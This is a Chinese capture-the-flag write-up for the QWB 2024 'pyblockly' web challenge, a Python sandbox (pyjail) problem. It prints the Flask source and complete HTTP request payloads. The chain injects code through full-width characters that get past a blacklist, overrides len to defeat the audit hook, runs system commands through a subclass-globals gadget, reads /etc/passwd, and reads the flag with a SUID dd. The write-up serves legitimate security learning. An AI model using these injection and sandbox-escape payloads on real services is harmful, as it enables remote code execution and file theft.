强网杯 2024 web pyblockly 单题wp

这次跟的wgpsec打。不给复现写不了wp,第一次打国内的比赛有点疏忽了。把pyblockly写详细点儿吧(pyblockly留了做题记录)

贴一下wgpsec的wp:https://mp.weixin.qq.com/s/NzZ-ZJlyCh2sk3vbNbswiw

WEB几乎AK了,tql师傅们

像这种PYjail接触的比较少,题目质量也很高,记录一下

下载附件,读

app.py

复制代码
    from flask import Flask, request, jsonify
    import re
    import unidecode
    import string
    import ast
    import sys
    import os
    import subprocess
    import importlib.util
    import json
    
    app = Flask(__name__)
    app.config['JSON_AS_ASCII'] = False
    
    blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
    
    def module_exists(module_name):
    
        spec = importlib.util.find_spec(module_name)
        if spec is None:
            return False
    
        if module_name in sys.builtin_module_names:
            return True
        
        if spec.origin:
            std_lib_path = os.path.dirname(os.__file__)
            
            if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
                return True
        return False
    
    def verify_secure(m):
        for node in ast.walk(m):
            match type(node):
                case ast.Import:  
                    print("ERROR: Banned module ")
                    return False
                case ast.ImportFrom: 
                    print(f"ERROR: Banned module {node.module}")
                    return False
        return True
    
    def check_for_blacklisted_symbols(input_text):
        if re.search(blacklist_pattern, input_text):
            return True
        else:
            return False


​    
​    
    def block_to_python(block):
        block_type = block['type']
        code = ''
        
        if block_type == 'print':
            text_block = block['inputs']['TEXT']['block']
            text = block_to_python(text_block)  
            code = f"print({text})"
               
        elif block_type == 'math_number':
            
            if str(block['fields']['NUM']).isdigit():      
                code =  int(block['fields']['NUM']) 
            else:
                code = ''
        elif block_type == 'text':
            if check_for_blacklisted_symbols(block['fields']['TEXT']):
                code = ''
            else:
            
                code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
        elif block_type == 'max':
            
            a_block = block['inputs']['A']['block']
            b_block = block['inputs']['B']['block']
            a = block_to_python(a_block)  
            b = block_to_python(b_block)
            code =  f"max({a}, {b})"
    
        elif block_type == 'min':
            a_block = block['inputs']['A']['block']
            b_block = block['inputs']['B']['block']
            a = block_to_python(a_block)
            b = block_to_python(b_block)
            code =  f"min({a}, {b})"
    
        if 'next' in block:
            
            block = block['next']['block']
            
            code +="\n" + block_to_python(block)+ "\n"
        else:
            return code 
        return code
    
    def json_to_python(blockly_data):
        block = blockly_data['blocks']['blocks'][0]
    
        python_code = ""
        python_code += block_to_python(block) + "\n"


​            
        return python_code
    
    def do(source_code):
        hook_code = '''
    def my_audit_hook(event_name, arg):
        blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
        if len(event_name) > 4:
            raise RuntimeError("Too Long!")
        for bad in blacklist:
            if bad in event_name:
                raise RuntimeError("No!")
    
    __import__('sys').addaudithook(my_audit_hook)
    
    '''
        print(source_code)
        code = hook_code + source_code
        tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
        try:
            if verify_secure(tree):  
                with open("run.py", 'w') as f:
                    f.write(code)        
                result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
                os.remove('run.py')
                return result
            else:
                return "Execution aborted due to security concerns."
        except:
            os.remove('run.py')
            return "Timeout!"
    
    @app.route('/')
    def index():
        return app.send_static_file('index.html')
    
    @app.route('/blockly_json', methods=['POST'])
    def blockly_json():
        blockly_data = request.get_data()
        print(type(blockly_data))
        blockly_data = json.loads(blockly_data.decode('utf-8'))
        print(blockly_data)
        try:
            python_code = json_to_python(blockly_data)
            return do(python_code)
        except Exception as e:
            return jsonify({"error": "Error generating Python code", "details": str(e)})
        
    if __name__ == '__main__':
        app.run(host = '0.0.0.0')

web1是很复杂的题目呢。然而其实大部分代码都没啥用,我们的思路也很明显------------通过block传递恶意代码执行。

出题人煞费苦心给题目套了一个很复杂的包装。其实对我们的攻击没多大影响。这里使用json_to_python来提取输入中的blocks,再在block_to_python中对每一个blocks进行分类(如print,max,min)再写入一个python文件中执行。

首先在block_to_python中随便一个功能(比如说print吧),最后都是直接使用字符串拼接的方式将输入拼到代码里。这里很容易想到用')闭合print('')并在后面用;\n加入代码的RCE手段(要注释掉后面的'))。进一步可以看到print模式要获取一个TEXT,可以直接将输入经过一次unidecode.unidecode后拼入print中执行。而TEXT要经过一个检测,这里因为是先进行检测后unidecode.unidecode。所以可以用全角字符进行绕过(全角字符在unidecode.unidecode后变为半角字符)

搓出payload如下

复制代码
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
                  "fields": {
                    "TEXT": "s"')\nprint(open("/etc/passwd", "r").read())\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }

可得到文件回显

这里只能读取文件,没有读取/flag的权限。考虑到RCE+提权的方式。可以看到在将用户的输入拼入py文件时添加了一个hook函数中,对event_name长度进行了限制。并且加入限制event_name了一个黑名单。

复制代码
    def my_audit_hook(event_name, arg):
        # print(f"[+]{event_name},{arg}")
        blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
        if len(event_name) > 4:
            raise RuntimeError("Too Long!")
        for bad in blacklist:
            if bad in event_name:
                raise RuntimeError("No!")

对event_name不熟悉的师傅可以看看https://peps.python.org/pep-0578/

看到所有的event_name里,只有open和exec满足长度小于等于4,而exec又在黑名单里。

于是考虑绕过长度检测,这里可以使用重写len函数的方式,使其永远返回3。

复制代码
    __builtins__.len = lambda x: 3

随后我们搓个POC:

复制代码
    POST /blockly_json HTTP/1.1
    Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
    Content-Length: 473
    Accept: */*
    X-Requested-With: XMLHttpRequest
    Accept-Language: zh-CN,zh;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
    Content-Type: application/json
    Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
    Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
     "fields": {
                    "TEXT": "s"')\n__builtins__.len = lambda x: 3\nprint(len("asdbb"))\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }

可以看到返回3

WIN!摆脱了长度的限制之后,就只剩下一个可有可无的黑名单了

限制了exec,我们就用os.system。照抄SSTIpayload即可

复制代码
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

可以执行任意命令。接下来看SUID文件。发现DD可以越权读取

DD读取,转全角字符,拿flag

复制代码
    POST /blockly_json HTTP/1.1
    Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
    Content-Length: 473
    Accept: */*
    X-Requested-With: XMLHttpRequest
    Accept-Language: zh-CN,zh;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
    Content-Type: application/json
    Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
    Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
     "fields": {
                    "TEXT": "s"')\n__builtins__.len = lambda x: 3\n[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("dd if=/flag")\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }


**flag{7cla4fe8981e295a78508a49146340b9}**
相关推荐
treesforest2 小时前
IP定位技术在网络犯罪侦查中的应用与价值
网络·网络协议·tcp/ip·网络安全·ip归属地查询·反欺诈
笨鸟先飞,勤能补拙3 小时前
AI 赋能网络安全:技术全景、成熟度评估与实战案例
人工智能·python·安全·web安全·网络安全·sqlite·github
加密狗复制模拟3 小时前
使用x64dbg进行超级狗super dog 加密狗逆向分析复制 超级狗克隆备份
安全·软件工程·个人开发·同态加密
ZeroNews内网穿透3 小时前
内网部署企业知识库,通过 HTTPS 隧道实现异地安全访问
安全·内网穿透
笨鸟先飞,勤能补拙5 小时前
AI 赋能网络安全领域深度剖析
网络·人工智能·windows·安全·web安全·网络安全·github
HackTwoHub6 小时前
轻量化AI渗透武器库|ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
流浪法师126 小时前
GA/T 2380-2026《信息安全技术 网络安全等级保护数据安全基本要求》深度解读
安全
为自己_带盐7 小时前
安敢越雷池一步?浅尝雷池WAF社区版
运维·web安全
BEOL贝尔科技8 小时前
样本安全存储中还有哪些重要因素需要考虑?如何设置样本安全?
人工智能·安全·数据分析
卓豪终端管理8 小时前
零信任落地,终端是「最后一公里」也是「最难一公里」
安全